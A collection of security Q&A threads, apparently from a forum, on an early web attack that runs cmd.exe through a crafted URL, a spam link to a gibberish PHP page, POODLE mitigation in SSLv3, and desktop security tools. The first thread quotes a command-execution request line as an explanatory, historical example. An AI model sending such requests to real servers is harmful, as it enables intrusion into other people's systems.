It depends on the vulnerability being exploited. Sometimes, an attacker can determine if a system is vulnerable to an attack based on the HTTP status code or the time it takes for the response to be returned. If the attacker can send an attack and learn that the system is vulnerable, they may send follow up attacks but if it didn't work, move on to try a different exploit.

There is no technical reason why a server couldn't process GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 as executing the cmd.exe file and passing '/c dir' as arguments, capturing the output and sending it as a response to the user. It all depends on the design of the server that is being interacted with. In hindsight, this design is silly, as it allows attackers to take advantage of a system, but in the early years of the web, allowing this kind of access could have been desirable.

  Also, why is it even possible to request files outside of the www directory? Should this not be forbidden per default?

Web servers are complicated and engineers make mistakes. Keep in mind that this type of attack is characteristic of the web in its infancy.

  What are the user privileges such an attacker has when he issues those commands in a self created shell? I guess the privileges of the running server.

If an attacker could leverage such an exploit, it is probable that the attacker would get the privilege of the running server. But, the execution is going to happen according to however the program was written. Its also possible that the server could lower privileges before passing off the execution. That's not likely, but the point is that it always depends on the context of the system being exploited.

  Could a firewall prevent this attack and if not, are there other measures which could have prevented this?

Yes and no. Firewall is a bit of an oversubscribed term, so some firewalls will have this capability and others will not. Some firewalls only focus on network traffic in the sense of source IP:port, destination ip:port, and don't look at the actual message being sent. Other firewalls include an Intrusion Prevention System or IPS. This is an application that compares the traffic to signatures of known bad traffic. So if the firewall has an IPS, and there is a rule for this traffic, it would be blocked.


Spam mail leading to gibberish site One of our users regularly receives spam mails containing a shortened link. I got curious, so I decided to investigate one of those links and it took me to a plain text website with gibberish, as if someone created text from the autocorrect suggestions of their phone. This is the site in question:

What I don't understand is the URL, which also has gibberish parameters:

If you omit all parameters, it only takes to an empty white page.
If you only type in the domain name you are lead to the legitimate site of a small business. However, there is a high probability that this site may have been compromised by an attacker, because of an existing security flaw (which I'm going to report to the site owner). So I was wondering if this php script was placed by an attacker.
My question boils down to these two points:

What is going on with that php script and why does it only show something when passing these gibberish parameters?
Why would someone send spam mails to someone with a link that only leads to a gibberish plain text site? The site only contains basic html tags and I haven't been able to discover something malicious about it.

Thanks.

One thing that comes in my mind by seeing this url is that maybe this: ?bob=1u1bga1mm1b0 is an unique ID that is related to this email, so when the person click on the email he/she will notify the spammers and tell them that they actually clicked this link or maybe they are trying to set some cookies to track activity or trying to initiate "man in the browser" attack, this are things we can just guess on, but maybe you can try and check if this domain is blacklisted, check if there are another hosts that are hosted on this server's IP address and check if they are the same blank pages, this may help you identify if this whole server has been compromised or maybe even notify the owner of the server in some way that something wrong is going on.


Can Poodle be fixed in SSLv3 or will it go the way of TLS compression? Is TLS_FALLBACK_SCSV going to be the fix for servers that wish to keep SSLv3 enabled? If not what actions are being taken, if any, that address the vulnerability besides disabling SSLv3?

There have been some discussions about mitigating issues with some record splitting. Namely, what makes Poodle efficient is that padding may use up to a full block (8 bytes with 3DES or RC2, 16 bytes with AES). When this happens, only the last byte of the block is checked by the recipient, which is why the alteration from the attacker gets through with probability 1/256. Thus, if you can arrange for that padding situation never to happen, then you can reduce the success probability of the attacker.

The idea is then, when a record is to be encrypted and would lead to a final block with too much random padding and too few non-ignored bytes, to split the data into two records, whose individual lengths will induce last blocks with sufficiently few ignored padding bytes.

This "fix" is discussed there (see in particular comment 13). Attacker's success drops from 1/256 to 1/281474976710656. However, this only applies to Poodle as it was described; and it is known that record splitting, though "legal" from the standard point of view, may break old, buggy, legacy implementations.

TLS_FALLBACK_SCSV dos not fix SSL 3.0; it fixes protocol downgrade attacks. It ensures that if the client and server both know TLS 1.0+, then they won't be forced to use SSL 3.0. However, if the client or the server knows only SSL 3.0, then the communication will use SSL 3.0, and Poodle attacks may apply. This is unavoidable: if the server knows only SSL 3.0, then the choice is between using a Poodle-vulnerable protocol, or not communicating at all.

A number of people have expressed that they would prefer the latter. Rather than tolerating SSL 3.0 with either TLS_FALLBACK_SCSV or some record splitting, just let it die. It will have to happen at some point; the general concern triggered by a vulnerability may be a good occasion for that.


What kind of IT security applications do you guys run on your laptop/desktop? I know a lot of people run different security applications on their laptops/desktops. I use Little Snitch on my Macbook Pro. I like to know where my applications are sending data and where I am receiving data from.

What are some of your security applications that you guys run on real-time to protect your computer?

You mean in the background as a service?

Nothing. Bogs down the system for no useful result.